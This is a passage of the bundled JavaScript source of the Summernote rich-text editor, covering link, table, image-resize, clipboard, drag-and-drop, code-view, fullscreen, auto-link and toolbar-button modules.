            rng.select();
            this.beforeCommand();
            document.execCommand('unlink');
            this.afterCommand();
        }
    };
    /**
     * returns link info
     *
     * @return {Object}
     * @return {WrappedRange} return.range
     * @return {String} return.text
     * @return {Boolean} [return.isNewWindow=true]
     * @return {String} [return.url=""]
     */
    Editor.prototype.getLinkInfo = function () {
        var rng = this.createRange().expand(dom.isAnchor);
        // Get the first anchor on range(for edit).
        var $anchor = $$1(lists.head(rng.nodes(dom.isAnchor)));
        var linkInfo = {
            range: rng,
            text: rng.toString(),
            url: $anchor.length ? $anchor.attr('href') : ''
        };
        // Define isNewWindow when anchor exists.
        if ($anchor.length) {
            linkInfo.isNewWindow = $anchor.attr('target') === '_blank';
        }
        return linkInfo;
    };
    Editor.prototype.addRow = function (position) {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.addRow(rng, position);
            this.afterCommand();
        }
    };
    Editor.prototype.addCol = function (position) {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.addCol(rng, position);
            this.afterCommand();
        }
    };
    Editor.prototype.deleteRow = function () {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.deleteRow(rng);
            this.afterCommand();
        }
    };
    Editor.prototype.deleteCol = function () {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.deleteCol(rng);
            this.afterCommand();
        }
    };
    Editor.prototype.deleteTable = function () {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.deleteTable(rng);
            this.afterCommand();
        }
    };
    /**
     * @param {Position} pos
     * @param {jQuery} $target - target element
     * @param {Boolean} [bKeepRatio] - keep ratio
     */
    Editor.prototype.resizeTo = function (pos, $target, bKeepRatio) {
        var imageSize;
        if (bKeepRatio) {
            var newRatio = pos.y / pos.x;
            var ratio = $target.data('ratio');
            imageSize = {
                width: ratio > newRatio ? pos.x : pos.y / ratio,
                height: ratio > newRatio ? pos.x * ratio : pos.y
            };
        }
        else {
            imageSize = {
                width: pos.x,
                height: pos.y
            };
        }
        $target.css(imageSize);
    };
    /**
     * returns whether editable area has focus or not.
     */
    Editor.prototype.hasFocus = function () {
        return this.$editable.is(':focus');
    };
    /**
     * set focus
     */
    Editor.prototype.focus = function () {
        // [workaround] Screen will move when page is scolled in IE.
        //  - do focus when not focused
        if (!this.hasFocus()) {
            this.$editable.focus();
        }
    };
    /**
     * returns whether contents is empty or not.
     * @return {Boolean}
     */
    Editor.prototype.isEmpty = function () {
        return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html();
    };
    /**
     * Removes all contents and restores the editable instance to an _emptyPara_.
     */
    Editor.prototype.empty = function () {
        this.context.invoke('code', dom.emptyPara);
    };
    /**
     * normalize content
     */
    Editor.prototype.normalizeContent = function () {
        this.$editable[0].normalize();
    };
    return Editor;
}());

var Clipboard = /** @class */ (function () {
    function Clipboard(context) {
        this.context = context;
        this.$editable = context.layoutInfo.editable;
    }
    Clipboard.prototype.initialize = function () {
        this.$editable.on('paste', this.pasteByEvent.bind(this));
    };
    /**
     * paste by clipboard event
     *
     * @param {Event} event
     */
    Clipboard.prototype.pasteByEvent = function (event) {
        var clipboardData = event.originalEvent.clipboardData;
        if (clipboardData && clipboardData.items && clipboardData.items.length) {
            var item = lists.head(clipboardData.items);
            if (item.kind === 'file' && item.type.indexOf('image/') !== -1) {
                this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]);
            }
            this.context.invoke('editor.afterCommand');
        }
    };
    return Clipboard;
}());

var Dropzone = /** @class */ (function () {
    function Dropzone(context) {
        this.context = context;
        this.$eventListener = $$1(document);
        this.$editor = context.layoutInfo.editor;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.documentEventHandlers = {};
        this.$dropzone = $$1([
            '<div class="note-dropzone">',
            '  <div class="note-dropzone-message"/>',
            '</div>'
        ].join('')).prependTo(this.$editor);
    }
    /**
     * attach Drag and Drop Events
     */
    Dropzone.prototype.initialize = function () {
        if (this.options.disableDragAndDrop) {
            // prevent default drop event
            this.documentEventHandlers.onDrop = function (e) {
                e.preventDefault();
            };
            // do not consider outside of dropzone
            this.$eventListener = this.$dropzone;
            this.$eventListener.on('drop', this.documentEventHandlers.onDrop);
        }
        else {
            this.attachDragAndDropEvent();
        }
    };
    /**
     * attach Drag and Drop Events
     */
    Dropzone.prototype.attachDragAndDropEvent = function () {
        var _this = this;
        var collection = $$1();
        var $dropzoneMessage = this.$dropzone.find('.note-dropzone-message');
        this.documentEventHandlers.onDragenter = function (e) {
            var isCodeview = _this.context.invoke('codeview.isActivated');
            var hasEditorSize = _this.$editor.width() > 0 && _this.$editor.height() > 0;
            if (!isCodeview && !collection.length && hasEditorSize) {
                _this.$editor.addClass('dragover');
                _this.$dropzone.width(_this.$editor.width());
                _this.$dropzone.height(_this.$editor.height());
                $dropzoneMessage.text(_this.lang.image.dragImageHere);
            }
            collection = collection.add(e.target);
        };
        this.documentEventHandlers.onDragleave = function (e) {
            collection = collection.not(e.target);
            if (!collection.length) {
                _this.$editor.removeClass('dragover');
            }
        };
        this.documentEventHandlers.onDrop = function () {
            collection = $$1();
            _this.$editor.removeClass('dragover');
        };
        // show dropzone on dragenter when dragging a object to document
        // -but only if the editor is visible, i.e. has a positive width and height
        this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter)
            .on('dragleave', this.documentEventHandlers.onDragleave)
            .on('drop', this.documentEventHandlers.onDrop);
        // change dropzone's message on hover.
        this.$dropzone.on('dragenter', function () {
            _this.$dropzone.addClass('hover');
            $dropzoneMessage.text(_this.lang.image.dropImage);
        }).on('dragleave', function () {
            _this.$dropzone.removeClass('hover');
            $dropzoneMessage.text(_this.lang.image.dragImageHere);
        });
        // attach dropImage
        this.$dropzone.on('drop', function (event) {
            var dataTransfer = event.originalEvent.dataTransfer;
            // stop the browser from opening the dropped content
            event.preventDefault();
            if (dataTransfer && dataTransfer.files && dataTransfer.files.length) {
                _this.$editable.focus();
                _this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files);
            }
            else {
                $$1.each(dataTransfer.types, function (idx, type) {
                    var content = dataTransfer.getData(type);
                    if (type.toLowerCase().indexOf('text') > -1) {
                        _this.context.invoke('editor.pasteHTML', content);
                    }
                    else {
                        $$1(content).each(function (idx, item) {
                            _this.context.invoke('editor.insertNode', item);
                        });
                    }
                });
            }
        }).on('dragover', false); // prevent default dragover event
    };
    Dropzone.prototype.destroy = function () {
        var _this = this;
        Object.keys(this.documentEventHandlers).forEach(function (key) {
            _this.$eventListener.off(key.substr(2).toLowerCase(), _this.documentEventHandlers[key]);
        });
        this.documentEventHandlers = {};
    };
    return Dropzone;
}());

var CodeMirror;
if (env.hasCodeMirror) {
    if (env.isSupportAmd) {
        require(['codemirror'], function (cm) {
            CodeMirror = cm;
        });
    }
    else {
        CodeMirror = window.CodeMirror;
    }
}
/**
 * @class Codeview
 */
var CodeView = /** @class */ (function () {
    function CodeView(context) {
        this.context = context;
        this.$editor = context.layoutInfo.editor;
        this.$editable = context.layoutInfo.editable;
        this.$codable = context.layoutInfo.codable;
        this.options = context.options;
    }
    CodeView.prototype.sync = function () {
        var isCodeview = this.isActivated();
        if (isCodeview && env.hasCodeMirror) {
            this.$codable.data('cmEditor').save();
        }
    };
    /**
     * @return {Boolean}
     */
    CodeView.prototype.isActivated = function () {
        return this.$editor.hasClass('codeview');
    };
    /**
     * toggle codeview
     */
    CodeView.prototype.toggle = function () {
        if (this.isActivated()) {
            this.deactivate();
        }
        else {
            this.activate();
        }
        this.context.triggerEvent('codeview.toggled');
    };
    /**
     * activate code view
     */
    CodeView.prototype.activate = function () {
        var _this = this;
        this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml));
        this.$codable.height(this.$editable.height());
        this.context.invoke('toolbar.updateCodeview', true);
        this.$editor.addClass('codeview');
        this.$codable.focus();
        // activate CodeMirror as codable
        if (env.hasCodeMirror) {
            var cmEditor_1 = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror);
            // CodeMirror TernServer
            if (this.options.codemirror.tern) {
                var server_1 = new CodeMirror.TernServer(this.options.codemirror.tern);
                cmEditor_1.ternServer = server_1;
                cmEditor_1.on('cursorActivity', function (cm) {
                    server_1.updateArgHints(cm);
                });
            }
            cmEditor_1.on('blur', function (event) {
                _this.context.triggerEvent('blur.codeview', cmEditor_1.getValue(), event);
            });
            // CodeMirror hasn't Padding.
            cmEditor_1.setSize(null, this.$editable.outerHeight());
            this.$codable.data('cmEditor', cmEditor_1);
        }
        else {
            this.$codable.on('blur', function (event) {
                _this.context.triggerEvent('blur.codeview', _this.$codable.val(), event);
            });
        }
    };
    /**
     * deactivate code view
     */
    CodeView.prototype.deactivate = function () {
        // deactivate CodeMirror as codable
        if (env.hasCodeMirror) {
            var cmEditor = this.$codable.data('cmEditor');
            this.$codable.val(cmEditor.getValue());
            cmEditor.toTextArea();
        }
        var value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara;
        var isChange = this.$editable.html() !== value;
        this.$editable.html(value);
        this.$editable.height(this.options.height ? this.$codable.height() : 'auto');
        this.$editor.removeClass('codeview');
        if (isChange) {
            this.context.triggerEvent('change', this.$editable.html(), this.$editable);
        }
        this.$editable.focus();
        this.context.invoke('toolbar.updateCodeview', false);
    };
    CodeView.prototype.destroy = function () {
        if (this.isActivated()) {
            this.deactivate();
        }
    };
    return CodeView;
}());

var EDITABLE_PADDING = 24;
var Statusbar = /** @class */ (function () {
    function Statusbar(context) {
        this.$document = $$1(document);
        this.$statusbar = context.layoutInfo.statusbar;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
    }
    Statusbar.prototype.initialize = function () {
        var _this = this;
        if (this.options.airMode || this.options.disableResizeEditor) {
            this.destroy();
            return;
        }
        this.$statusbar.on('mousedown', function (event) {
            event.preventDefault();
            event.stopPropagation();
            var editableTop = _this.$editable.offset().top - _this.$document.scrollTop();
            var onMouseMove = function (event) {
                var height = event.clientY - (editableTop + EDITABLE_PADDING);
                height = (_this.options.minheight > 0) ? Math.max(height, _this.options.minheight) : height;
                height = (_this.options.maxHeight > 0) ? Math.min(height, _this.options.maxHeight) : height;
                _this.$editable.height(height);
            };
            _this.$document.on('mousemove', onMouseMove).one('mouseup', function () {
                _this.$document.off('mousemove', onMouseMove);
            });
        });
    };
    Statusbar.prototype.destroy = function () {
        this.$statusbar.off();
        this.$statusbar.addClass('locked');
    };
    return Statusbar;
}());

var Fullscreen = /** @class */ (function () {
    function Fullscreen(context) {
        var _this = this;
        this.context = context;
        this.$editor = context.layoutInfo.editor;
        this.$toolbar = context.layoutInfo.toolbar;
        this.$editable = context.layoutInfo.editable;
        this.$codable = context.layoutInfo.codable;
        this.$window = $$1(window);
        this.$scrollbar = $$1('html, body');
        this.onResize = function () {
            _this.resizeTo({
                h: _this.$window.height() - _this.$toolbar.outerHeight()
            });
        };
    }
    Fullscreen.prototype.resizeTo = function (size) {
        this.$editable.css('height', size.h);
        this.$codable.css('height', size.h);
        if (this.$codable.data('cmeditor')) {
            this.$codable.data('cmeditor').setsize(null, size.h);
        }
    };
    /**
     * toggle fullscreen
     */
    Fullscreen.prototype.toggle = function () {
        this.$editor.toggleClass('fullscreen');
        if (this.isFullscreen()) {
            this.$editable.data('orgHeight', this.$editable.css('height'));
            this.$window.on('resize', this.onResize).trigger('resize');
            this.$scrollbar.css('overflow', 'hidden');
        }
        else {
            this.$window.off('resize', this.onResize);
            this.resizeTo({ h: this.$editable.data('orgHeight') });
            this.$scrollbar.css('overflow', 'visible');
        }
        this.context.invoke('toolbar.updateFullscreen', this.isFullscreen());
    };
    Fullscreen.prototype.isFullscreen = function () {
        return this.$editor.hasClass('fullscreen');
    };
    return Fullscreen;
}());

var Handle = /** @class */ (function () {
    function Handle(context) {
        var _this = this;
        this.context = context;
        this.$document = $$1(document);
        this.$editingArea = context.layoutInfo.editingArea;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.events = {
            'summernote.mousedown': function (we, e) {
                if (_this.update(e.target)) {
                    e.preventDefault();
                }
            },
            'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': function () {
                _this.update();
            },
            'summernote.disable': function () {
                _this.hide();
            },
            'summernote.codeview.toggled': function () {
                _this.update();
            }
        };
    }
    Handle.prototype.initialize = function () {
        var _this = this;
        this.$handle = $$1([
            '<div class="note-handle">',
            '<div class="note-control-selection">',
            '<div class="note-control-selection-bg"></div>',
            '<div class="note-control-holder note-control-nw"></div>',
            '<div class="note-control-holder note-control-ne"></div>',
            '<div class="note-control-holder note-control-sw"></div>',
            '<div class="',
            (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'),
            ' note-control-se"></div>',
            (this.options.disableResizeImage ? '' : '<div class="note-control-selection-info"></div>'),
            '</div>',
            '</div>'
        ].join('')).prependTo(this.$editingArea);
        this.$handle.on('mousedown', function (event) {
            if (dom.isControlSizing(event.target)) {
                event.preventDefault();
                event.stopPropagation();
                var $target_1 = _this.$handle.find('.note-control-selection').data('target');
                var posStart_1 = $target_1.offset();
                var scrollTop_1 = _this.$document.scrollTop();
                var onMouseMove_1 = function (event) {
                    _this.context.invoke('editor.resizeTo', {
                        x: event.clientX - posStart_1.left,
                        y: event.clientY - (posStart_1.top - scrollTop_1)
                    }, $target_1, !event.shiftKey);
                    _this.update($target_1[0]);
                };
                _this.$document
                    .on('mousemove', onMouseMove_1)
                    .one('mouseup', function (e) {
                    e.preventDefault();
                    _this.$document.off('mousemove', onMouseMove_1);
                    _this.context.invoke('editor.afterCommand');
                });
                if (!$target_1.data('ratio')) {
                    $target_1.data('ratio', $target_1.height() / $target_1.width());
                }
            }
        });
        // Listen for scrolling on the handle overlay.
        this.$handle.on('wheel', function (e) {
            e.preventDefault();
            _this.update();
        });
    };
    Handle.prototype.destroy = function () {
        this.$handle.remove();
    };
    Handle.prototype.update = function (target) {
        if (this.context.isDisabled()) {
            return false;
        }
        var isImage = dom.isImg(target);
        var $selection = this.$handle.find('.note-control-selection');
        this.context.invoke('imagePopover.update', target);
        if (isImage) {
            var $image = $$1(target);
            var position = $image.position();
            var pos = {
                left: position.left + parseInt($image.css('marginLeft'), 10),
                top: position.top + parseInt($image.css('marginTop'), 10)
            };
            // exclude margin
            var imageSize = {
                w: $image.outerWidth(false),
                h: $image.outerHeight(false)
            };
            $selection.css({
                display: 'block',
                left: pos.left,
                top: pos.top,
                width: imageSize.w,
                height: imageSize.h
            }).data('target', $image); // save current image element.
            var origImageObj = new Image();
            origImageObj.src = $image.attr('src');
            var sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')';
            $selection.find('.note-control-selection-info').text(sizingText);
            this.context.invoke('editor.saveTarget', target);
        }
        else {
            this.hide();
        }
        return isImage;
    };
    /**
     * hide
     *
     * @param {jQuery} $handle
     */
    Handle.prototype.hide = function () {
        this.context.invoke('editor.clearTarget');
        this.$handle.children().hide();
    };
    return Handle;
}());

var defaultScheme = 'http://';
var linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i;
var AutoLink = /** @class */ (function () {
    function AutoLink(context) {
        var _this = this;
        this.context = context;
        this.events = {
            'summernote.keyup': function (we, e) {
                if (!e.isDefaultPrevented()) {
                    _this.handleKeyup(e);
                }
            },
            'summernote.keydown': function (we, e) {
                _this.handleKeydown(e);
            }
        };
    }
    AutoLink.prototype.initialize = function () {
        this.lastWordRange = null;
    };
    AutoLink.prototype.destroy = function () {
        this.lastWordRange = null;
    };
    AutoLink.prototype.replace = function () {
        if (!this.lastWordRange) {
            return;
        }
        var keyword = this.lastWordRange.toString();
        var match = keyword.match(linkPattern);
        if (match && (match[1] || match[2])) {
            var link = match[1] ? keyword : defaultScheme + keyword;
            var node = $$1('<a />').html(keyword).attr('href', link)[0];
            this.lastWordRange.insertNode(node);
            this.lastWordRange = null;
            this.context.invoke('editor.focus');
        }
    };
    AutoLink.prototype.handleKeydown = function (e) {
        if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {
            var wordRange = this.context.invoke('editor.createRange').getWordRange();
            this.lastWordRange = wordRange;
        }
    };
    AutoLink.prototype.handleKeyup = function (e) {
        if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {
            this.replace();
        }
    };
    return AutoLink;
}());

/**
 * textarea auto sync.
 */
var AutoSync = /** @class */ (function () {
    function AutoSync(context) {
        var _this = this;
        this.$note = context.layoutInfo.note;
        this.events = {
            'summernote.change': function () {
                _this.$note.val(context.invoke('code'));
            }
        };
    }
    AutoSync.prototype.shouldInitialize = function () {
        return dom.isTextarea(this.$note[0]);
    };
    return AutoSync;
}());

var Placeholder = /** @class */ (function () {
    function Placeholder(context) {
        var _this = this;
        this.context = context;
        this.$editingArea = context.layoutInfo.editingArea;
        this.options = context.options;
        this.events = {
            'summernote.init summernote.change': function () {
                _this.update();
            },
            'summernote.codeview.toggled': function () {
                _this.update();
            }
        };
    }
    Placeholder.prototype.shouldInitialize = function () {
        return !!this.options.placeholder;
    };
    Placeholder.prototype.initialize = function () {
        var _this = this;
        this.$placeholder = $$1('<div class="note-placeholder">');
        this.$placeholder.on('click', function () {
            _this.context.invoke('focus');
        }).text(this.options.placeholder).prependTo(this.$editingArea);
        this.update();
    };
    Placeholder.prototype.destroy = function () {
        this.$placeholder.remove();
    };
    Placeholder.prototype.update = function () {
        var isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty');
        this.$placeholder.toggle(isShow);
    };
    return Placeholder;
}());

var Buttons = /** @class */ (function () {
    function Buttons(context) {
        this.ui = $$1.summernote.ui;
        this.context = context;
        this.$toolbar = context.layoutInfo.toolbar;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.invertedKeyMap = func.invertObject(this.options.keyMap[env.isMac ? 'mac' : 'pc']);
    }
    Buttons.prototype.representShortcut = function (editorMethod) {
        var shortcut = this.invertedKeyMap[editorMethod];
        if (!this.options.shortcuts || !shortcut) {
            return '';
        }
        if (env.isMac) {
            shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧');
        }
        shortcut = shortcut.replace('BACKSLASH', '\\')
            .replace('SLASH', '/')
            .replace('LEFTBRACKET', '[')
            .replace('RIGHTBRACKET', ']');
        return ' (' + shortcut + ')';
    };
    Buttons.prototype.button = function (o) {
        if (!this.options.tooltip && o.tooltip) {
            delete o.tooltip;
        }
        o.container = this.options.container;
        return this.ui.button(o);
    };
    Buttons.prototype.initialize = function () {
        this.addToolbarButtons();
        this.addImagePopoverButtons();
        this.addLinkPopoverButtons();
        this.addTablePopoverButtons();
        this.fontInstalledMap = {};
    };
    Buttons.prototype.destroy = function () {
        delete this.fontInstalledMap;
    };
    Buttons.prototype.isFontInstalled = function (name) {
        if (!this.fontInstalledMap.hasOwnProperty(name)) {
            this.fontInstalledMap[name] = env.isFontInstalled(name) ||
                lists.contains(this.options.fontNamesIgnoreCheck, name);
        }
        return this.fontInstalledMap[name];
    };
    Buttons.prototype.isFontDeservedToAdd = function (name) {
        var genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy'];
        name = name.toLowerCase();
        return ((name !== '') && this.isFontInstalled(name) && ($$1.inArray(name, genericFamilies) === -1));
    };
    Buttons.prototype.addToolbarButtons = function () {
        var _this = this;
        this.context.memo('button.style', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.magic), _this.options),
                    tooltip: _this.lang.style.style,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdown({
                    className: 'dropdown-style',
                    items: _this.options.styleTags,
                    title: _this.lang.style.style,
                    template: function (item) {
                        if (typeof item === 'string') {
                            item = { tag: item, title: (_this.lang.style.hasOwnProperty(item) ? _this.lang.style[item] : item) };
                        }
                        var tag = item.tag;
                        var title = item.title;
                        var style = item.style ? ' style="' + item.style + '" ' : '';
                        var className = item.className ? ' class="' + item.className + '"' : '';
                        return '<' + tag + style + className + '>' + title + '</' + tag + '>';
                    },
                    click: _this.context.createInvokeHandler('editor.formatBlock')
                })
            ]).render();
        });
        var _loop_1 = function (styleIdx, styleLen) {
            var item = this_1.options.styleTags[styleIdx];
            this_1.context.memo('button.style.' + item, function () {
                return _this.button({
                    className: 'note-btn-style-' + item,
                    contents: '<div data-value="' + item + '">' + item.toUpperCase() + '</div>',
                    tooltip: _this.lang.style[item],
                    click: _this.context.createInvokeHandler('editor.formatBlock')
                }).render();
            });
        };
        var this_1 = this;
        for (var styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) {
            _loop_1(styleIdx, styleLen);
        }
        this.context.memo('button.bold', function () {
            return _this.button({
                className: 'note-btn-bold',
                contents: _this.ui.icon(_this.options.icons.bold),
                tooltip: _this.lang.font.bold + _this.representShortcut('bold'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.bold')
            }).render();
        });
        this.context.memo('button.italic', function () {
            return _this.button({
                className: 'note-btn-italic',
                contents: _this.ui.icon(_this.options.icons.italic),
                tooltip: _this.lang.font.italic + _this.representShortcut('italic'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.italic')
            }).render();
        });
        this.context.memo('button.underline', function () {
            return _this.button({
                className: 'note-btn-underline',
                contents: _this.ui.icon(_this.options.icons.underline),
                tooltip: _this.lang.font.underline + _this.representShortcut('underline'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.underline')
            }).render();
        });
        this.context.memo('button.clear', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.eraser),
                tooltip: _this.lang.font.clear + _this.representShortcut('removeFormat'),
                click: _this.context.createInvokeHandler('editor.removeFormat')
            }).render();
        });
        this.context.memo('button.strikethrough', function () {
            return _this.button({
                className: 'note-btn-strikethrough',
                contents: _this.ui.icon(_this.options.icons.strikethrough),
                tooltip: _this.lang.font.strikethrough + _this.representShortcut('strikethrough'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.strikethrough')
            }).render();
        });
        this.context.memo('button.superscript', function () {
            return _this.button({
                className: 'note-btn-superscript',
                contents: _this.ui.icon(_this.options.icons.superscript),
                tooltip: _this.lang.font.superscript,
                click: _this.context.createInvokeHandlerAndUpdateState('editor.superscript')
            }).render();
        });
        this.context.memo('button.subscript', function () {
            return _this.button({
                className: 'note-btn-subscript',
                contents: _this.ui.icon(_this.options.icons.subscript),
                tooltip: _this.lang.font.subscript,
                click: _this.context.createInvokeHandlerAndUpdateState('editor.subscript')
            }).render();
        });
        this.context.memo('button.fontname', function () {
            var styleInfo = _this.context.invoke('editor.currentStyle');
            // Add 'default' fonts into the fontnames array if not exist
            $$1.each(styleInfo['font-family'].split(','), function (idx, fontname) {
                fontname = fontname.trim().replace(/['"]+/g, '');
                if (_this.isFontDeservedToAdd(fontname)) {
                    if ($$1.inArray(fontname, _this.options.fontNames) === -1) {
                        _this.options.fontNames.push(fontname);
                    }
                }
            });
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents('<span class="note-current-fontname"/>', _this.options),
                    tooltip: _this.lang.font.name,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdownCheck({
                    className: 'dropdown-fontname',
                    checkClassName: _this.options.icons.menuCheck,
                    items: _this.options.fontNames.filter(_this.isFontInstalled.bind(_this)),
                    title: _this.lang.font.name,
                    template: function (item) {
                        return '<span style="font-family: \'' + item + '\'">' + item + '</span>';
                    },
                    click: _this.context.createInvokeHandlerAndUpdateState('editor.fontName')
                })
            ]).render();
        });
        this.context.memo('button.fontsize', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents('<span class="note-current-fontsize"/>', _this.options),
                    tooltip: _this.lang.font.size,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdownCheck({
                    className: 'dropdown-fontsize',
                    checkClassName: _this.options.icons.menuCheck,
                    items: _this.options.fontSizes,
                    title: _this.lang.font.size,
                    click: _this.context.createInvokeHandlerAndUpdateState('editor.fontSize')
                })
            ]).render();
        });
        this.context.memo('button.color', function () {
            return _this.ui.buttonGroup({
                className: 'note-color',
                children: [
                    _this.button({
                        className: 'note-current-color-button',
                        contents: _this.ui.icon(_this.options.icons.font + ' note-recent-color'),
                        tooltip: _this.lang.color.recent,
                        click: function (e) {
                            var $button = $$1(e.currentTarget);
                            _this.context.invoke('editor.color', {
                                backColor: $button.attr('data-backColor'),
                                foreColor: $button.attr('data-foreColor')
                            });
                        },
                        callback: function ($button) {
                            var $recentColor = $button.find('.note-recent-color');
                            $recentColor.css('background-color', '#FFFF00');
                            $button.attr('data-backColor', '#FFFF00');
                        }
                    }),
                    _this.button({
                        className: 'dropdown-toggle',
                        contents: _this.ui.dropdownButtonContents('', _this.options),
                        tooltip: _this.lang.color.more,
                        data: {
                            toggle: 'dropdown'
                        }
                    }),
                    _this.ui.dropdown({
                        items: [
                            '<div class="note-palette">',
                            '  <div class="note-palette-title">' + _this.lang.color.background + '</div>',
                            '  <div>',
                            '    <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">',
                            _this.lang.color.transparent,
                            '    </button>',
                            '  </div>',
                            '  <div class="note-holder" data-event="backColor"/>',
                            '</div>',
                            '<div class="note-palette">',
                            '  <div class="note-palette-title">' + _this.lang.color.foreground + '</div>',
                            '  <div>',
                            '    <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">',
                            _this.lang.color.resetToDefault,
                            '    </button>',
                            '  </div>',
                            '  <div class="note-holder" data-event="foreColor"/>',
                            '</div>'
                        ].join(''),
                        callback: function ($dropdown) {
                            $dropdown.find('.note-holder').each(function (idx, item) {
                                var $holder = $$1(item);
                                $holder.append(_this.ui.palette({
                                    colors: _this.options.colors,
                                    colorsName: _this.options.colorsName,
                                    eventName: $holder.data('event'),
                                    container: _this.options.container,
                                    tooltip: _this.options.tooltip
                                }).render());
                            });
                        },
                        click: function (event) {
                            var $button = $$1(event.target);
                            var eventName = $button.data('event');
                            var value = $button.data('value');
                            if (eventName && value) {
                                var key = eventName === 'backColor' ? 'background-color' : 'color';
                                var $color = $button.closest('.note-color').find('.note-recent-color');
                                var $currentButton = $button.closest('.note-color').find('.note-current-color-button');
                                $color.css(key, value);
                                $currentButton.attr('data-' + eventName, value);
                                _this.context.invoke('editor.' + eventName, value);
                            }
                        }
                    })
                ]
            }).render();
        });
        this.context.memo('button.ul', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.unorderedlist),
                tooltip: _this.lang.lists.unordered + _this.representShortcut('insertUnorderedList'),
                click: _this.context.createInvokeHandler('editor.insertUnorderedList')
            }).render();
        });
        this.context.memo('button.ol', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.orderedlist),
                tooltip: _this.lang.lists.ordered + _this.representShortcut('insertOrderedList'),
                click: _this.context.createInvokeHandler('editor.insertOrderedList')
            }).render();
        });
        var justifyLeft = this.button({
            contents: this.ui.icon(this.options.icons.alignLeft),
            tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'),
            click: this.context.createInvokeHandler('editor.justifyLeft')
        });
        var justifyCenter = this.button({
            contents: this.ui.icon(this.options.icons.alignCenter),
            tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'),
            click: this.context.createInvokeHandler('editor.justifyCenter')
        });
        var justifyRight = this.button({
            contents: this.ui.icon(this.options.icons.alignRight),
            tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'),
            click: this.context.createInvokeHandler('editor.justifyRight')
        });
        var justifyFull = this.button({
            contents: this.ui.icon(this.options.icons.alignJustify),
            tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'),
            click: this.context.createInvokeHandler('editor.justifyFull')
        });
        var outdent = this.button({
            contents: this.ui.icon(this.options.icons.outdent),
            tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'),
            click: this.context.createInvokeHandler('editor.outdent')
        });
        var indent = this.button({
            contents: this.ui.icon(this.options.icons.indent),
            tooltip: this.lang.paragraph.indent + this.representShortcut('indent'),
            click: this.context.createInvokeHandler('editor.indent')
        });
        this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render'));
        this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render'));
        this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render'));
        this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render'));
        this.context.memo('button.outdent', func.invoke(outdent, 'render'));
        this.context.memo('button.indent', func.invoke(indent, 'render'));
        this.context.memo('button.paragraph', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.alignLeft), _this.options),
                    tooltip: _this.lang.paragraph.paragraph,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdown([
                    _this.ui.buttonGroup({
                        className: 'note-align',
                        children: [justifyLeft, justifyCenter, justifyRight, justifyFull]
                    }),
                    _this.ui.buttonGroup({
                        className: 'note-list',
                        children: [outdent, indent]
                    })
                ])
            ]).render();
        });
        this.context.memo('button.height', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
